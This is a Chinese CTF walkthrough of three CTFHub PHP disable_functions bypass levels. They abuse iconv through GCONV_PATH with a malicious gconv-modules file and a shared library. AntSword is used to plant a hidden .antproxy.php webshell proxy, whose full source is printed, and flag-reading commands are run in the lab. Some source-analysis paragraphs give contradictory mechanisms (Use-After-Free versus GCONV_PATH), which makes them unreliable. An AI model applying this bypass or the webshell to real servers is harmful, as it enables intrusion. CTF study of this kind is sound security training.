CTFHub Web进阶-PHP:Bypass_disable_function通关9之iconv,bypass iconv1,bypass iconv2
目录
一、iconv原理
二、iconv渗透实战
1、打开靶场
2、源码分析
3、蚁剑直接连接
4、虚拟终端
5、蚁剑工具-disable function
(1)disable function插件
(2)iconv插件
(3).antproxy文件分析
(4)连接新木马
(5)新木马-虚拟终端查看flag
三、bypass iconv1渗透实战
1、打开靶场
2、源码分析
3、蚁剑直接连接
4、虚拟终端
5、蚁剑工具-disable function
(1)disable function插件
(2)bypass iconv1插件
(3)连接新木马
(4)新木马-虚拟终端查看flag
四、bypass iconv2
1、打开靶场
2、源码分析
3、蚁剑直接连接
4、虚拟终端
5、蚁剑工具-disable function
(1)disable function插件
(2)iconv插件
(3)连接新木马
(4)新木马-虚拟终端查看flag
本文详细讲解CTFHub的Web进阶中disable-functions的iconv关卡、bypass iconv1关卡、bypass iconv2共3关的渗透全流程。通过利用Linux系统iconv函数的环境变量特性(GCONV_PATH),配合恶意gconv-modules配置文件和.so动态库,成功绕过PHP安全限制实现命令执行。使用蚁剑工具的disablefunction插件生成反向代理木马(.antproxy.php),建立新会话连接后通过虚拟终端获取flag。三关渗透流程相似,最终均通过tac /flag命令成功读取flag值。该技术展示了字符编码处理模块在环境变量配置和动态库加载方面存在的安全隐患,为disable_functions绕过提供了新思路。
一、iconv原理
在CTFHub的Web进阶关卡中,iconv绕过disable_functions的技巧,主要利用了Linux系统中iconv函数相关的一个环境变量设计特性。下面这个表格总结了其核心攻击流程和原理:
| 步骤 | 关键组件 | 作用与原理 |
|---|---|---|
| 设置环境 | GCONV_PATH 环境变量 | 通过putenv设置,欺骗iconv函数去加载攻击者自定义的gconv-modules配置文件,而非系统默认路径下的文件。 |
| 配置文件 | gconv-modules 文件 | 指示系统在需要进行字符集转换时,加载我们指定的恶意共享库(.so文件)。 |
| 恶意库 | 编译的 .so 文件 | 包含在库初始化时(如gconv_init函数中)执行的恶意系统命令。利用__attribute__ ((constructor))或gconv_init函数,使动态库被加载时执行代码。 |
| 触发执行 | iconv 函数 | 当PHP调用iconv进行字符集转换时,它会遵循GCONV_PATH的指引,触发恶意动态库的加载和执行其中的代码 |
二、iconv渗透实战
1、打开靶场
http://challenge-db6e63af06a86a68.sandbox.ctfhub.com:10800/

2、源码分析
这是一个利用PHP iconv扩展进行disable_functions绕过的攻击环境,通过eval($_REQUEST['ant'])执行恶意代码。攻击者借助iconv字符转换功能中的内存操作特性,结合PHP垃圾回收机制中的Use-After-Free风险,在特定PHP版本(7-8.0)中通过精心构造的字符集转换序列触发内存破坏,最终实现命令执行和权限提升,体现了字符处理扩展在底层内存管理方面存在的安全隐患。源码如下所示。
| CTFHub Bypass disable_function —— iconv 本环境来源于AntSword-Labs <!DOCTYPE html> |
3、蚁剑直接连接
http://challenge-db6e63af06a86a68.sandbox.ctfhub.com:10800/ 密码ant


4、虚拟终端

如下所示,命令执行失败

5、蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)iconv插件
插件选择iconv模式,如下所示。

点击开始后页面如下所示,在网站根目录下创建antproxy木马文件。

(3).antproxy文件分析
进入新木马的文件系统查看.antproxy文件,如下所示。

这是一个位于/var/www/html/.antproxy.php的PHP反向代理脚本,主要功能是将客户端请求转发到本地63219端口的后端服务。脚本通过fsockopen建立Socket连接,重构HTTP请求头(包括处理自定义Header和POST数据),实现请求转发并返回后端响应。该文件通常用于Web攻击中的流量转发、内网渗透或隐藏真实后端服务,其隐藏文件名(.antproxy.php)具有规避安全检测的意图
<?php
function get_client_header(){$headers=array();foreach($_SERVER as $k=>$v){if(strpos($k,'HTTP_')===0){$k=strtolower(preg_replace('/^HTTP/', '', $k));$k=preg_replace_callback('/_\w/','header_callback',$k);$k=preg_replace('/^_/','',$k);$k=str_replace('_','-',$k);if($k=='Host') continue;$headers[]="$k:$v";}}return $headers;
}
function header_callback($str){return strtoupper($str[0]);
}
function parseHeader($sResponse){list($headerstr,$sResponse)=explode("",$sResponse, 2);$ret=array($headerstr,$sResponse);if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){$ret=parseHeader($sResponse);}return $ret;
}set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 63219;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";if (!empty($_SERVER['QUERY_STRING'])){$url .= "?".$_SERVER['QUERY_STRING'];
};$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){return false;
}$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {$method = "POST";$post_data = file_get_contents('php://input');
}$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;fputs($fp, $out);$response = '';
while($row=fread($fp, 4096)){$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
详细注释后的源码如下所示,实现HTTP反向代理功能,主要功能如下所示:
-
请求转发:将客户端请求原样转发到127.0.0.1:63219的后端服务
-
头部处理:重构HTTP请求头,保留客户端原始头部信息
-
数据透传:支持GET/POST方法,完整传递参数和请求体
-
响应代理:接收后端响应并返回给客户端
<?php
// 功能:获取客户端请求头并格式化处理
function get_client_header(){$headers=array();// 遍历$_SERVER超全局数组foreach($_SERVER as $k=>$v){// 只处理以HTTP_开头的头部信息if(strpos($k,'HTTP_')===0){$k=strtolower(preg_replace('/^HTTP/', '', $k)); // 移除HTTP_前缀并转小写$k=preg_replace_callback('/_\w/','header_callback',$k); // 回调处理下划线后字符$k=preg_replace('/^_/','',$k); // 移除开头的下划线$k=str_replace('_','-',$k); // 将下划线替换为连字符if($k=='Host') continue; // 跳过Host头,后面会单独处理$headers[]="$k:$v"; // 组装头部格式}}return $headers;
}// 回调函数:将匹配到的字符转为大写
function header_callback($str){return strtoupper($str[0]); // 如将_content-type转为Content-Type
}// 功能:解析HTTP响应,分离头部和主体
function parseHeader($sResponse){list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2); // 按空行分割响应头与体$ret=array($headerstr,$sResponse);// 检测是否为分块响应,递归处理if(preg_match('/^HTTP\/1.1 \d{3}/', $sResponse)){$ret=parseHeader($sResponse);}return $ret;
}// 设置脚本最大执行时间120秒
set_time_limit(120);// 获取客户端请求头
$headers=get_client_header();
$host = "127.0.0.1"; // 固定转发的目标主机
$port = 63219; // 固定转发的目标端口
$errno = '';
$errstr = '';
$timeout = 30; // 连接超时时间
$url = "/index.php"; // 默认请求路径// 如果存在查询字符串,追加到URL中
if (!empty($_SERVER['QUERY_STRING'])){$url .= "?".$_SERVER['QUERY_STRING'];
};// 建立到后端服务的Socket连接
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){return false; // 连接失败直接返回
}// 确定请求方法和POST数据
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {$method = "POST";$post_data = file_get_contents('php://input'); // 原始POST数据
}// 构造HTTP请求头
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n"; // 添加Host头
// 如果存在Content-Type头,添加到请求中
if (!empty($_SERVER['CONTENT_TYPE'])) {$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n"; // 内容长度$out .= implode("\r\n",$headers); // 添加其他客户端头部
$out .= "\r\n\r\n"; // HTTP协议空行分隔符
$out .= "".$post_data; // 请求主体// 发送请求到后端服务
fputs($fp, $out);// 读取后端响应
$response = '';
while($row=fread($fp, 4096)){$response .= $row; // 分块读取响应数据
}
fclose($fp); // 关闭连接// 移除响应头部,只返回主体部分
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response; // 输出响应内容到客户端
(4)连接新木马
接下来连接新木马,具体配置方法如下所示。
http://challenge-db6e63af06a86a68.sandbox.ctfhub.com:10800/.antproxy.php
密码ant

如上所示测试连接成功,点击“添加”后页面如下所示,增加了新木马的会话连接,如下图红框所示。

(5)新木马-虚拟终端查看flag
通过“选中新木马的会话-右键-虚拟终端”进入在新木马的虚拟终端窗口,如下所示。

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

三、bypass iconv1渗透实战
本关卡与iconv的方法几乎一样,打开关卡如下所示。

1、打开靶场
http://challenge-58db3db581e30434.sandbox.ctfhub.com:10800/

2、源码分析
这是一个利用PHP iconv扩展进行disable_functions绕过的攻击环境,通过eval($_REQUEST['ant'])获取恶意代码。攻击者借助iconv字符转换功能中的GCONV_PATH环境变量机制,通过putenv设置自定义字符集转换配置路径,诱导iconv函数加载恶意共享库(.so文件),利用gconv-modules配置文件指向包含系统命令的恶意模块,在动态库初始化时执行任意命令,从而绕过PHP安全限制实现权限提升和Webshell持久化控制。源码如下所示。
| CTFHub Bypass disable_function —— iconv Bypass 1 本环境来源于AntSword-Labs <!DOCTYPE html> |
3、蚁剑直接连接
http://challenge-58db3db581e30434.sandbox.ctfhub.com:10800/ 密码ant。


4、虚拟终端
右键-虚拟终端,进入虚拟终端页面,具体如下所示。

如下所示,命令执行失败。

5、蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)bypass iconv1插件
插件选择iconv模式,如下所示。

点击开始后页面如下所示。

(3)连接新木马
http://challenge-58db3db581e30434.sandbox.ctfhub.com:10800/.antproxy.php
密码ant

添加后如下所示。

(4)新木马-虚拟终端查看flag
进入在新木马的虚拟终端窗口,如下所示。

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

四、bypass iconv2
本关卡与关卡9、关卡10的方法几乎一样,打开关卡如下所示。

1、打开靶场
http://challenge-0afa0de629ead963.sandbox.ctfhub.com:10800/

2、源码分析
这是一个利用PHP iconv扩展进行disable_functions绕过的进阶攻击环境,通过eval($_REQUEST['ant'])执行恶意代码。攻击者利用iconv_open()函数在处理字符集名称时的风险,通过精心构造超长或特殊的字符集参数触发缓冲区溢出或内存破坏,结合PHP垃圾回收机制实现Use-After-Free利用,在特定PHP版本中绕过安全限制执行系统命令,最终实现权限提升和Webshell持久化控制,体现了字符编码处理模块在边界检查方面的安全隐患。源码如下所示。
| CTFHub Bypass disable_function —— iconv Bypass 2 本环境来源于AntSword-Labs <!DOCTYPE html> |
3、蚁剑直接连接
http://challenge-0afa0de629ead963.sandbox.ctfhub.com:10800/ 密码ant。


4、虚拟终端
如下所示,命令执行失败。

5、蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)iconv插件
插件选择iconv模式,如下所示。

点击开始后页面如下所示。

(3)连接新木马
http://challenge-0afa0de629ead963.sandbox.ctfhub.com:10800/.antproxy.php
密码ant。

添加后如下所示。

(4)新木马-虚拟终端查看flag
进入在新木马的虚拟终端窗口,如下所示。

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。
ctfhub{89328b63badcf3ecab08fbdc}
至此,完成所有11关的渗透

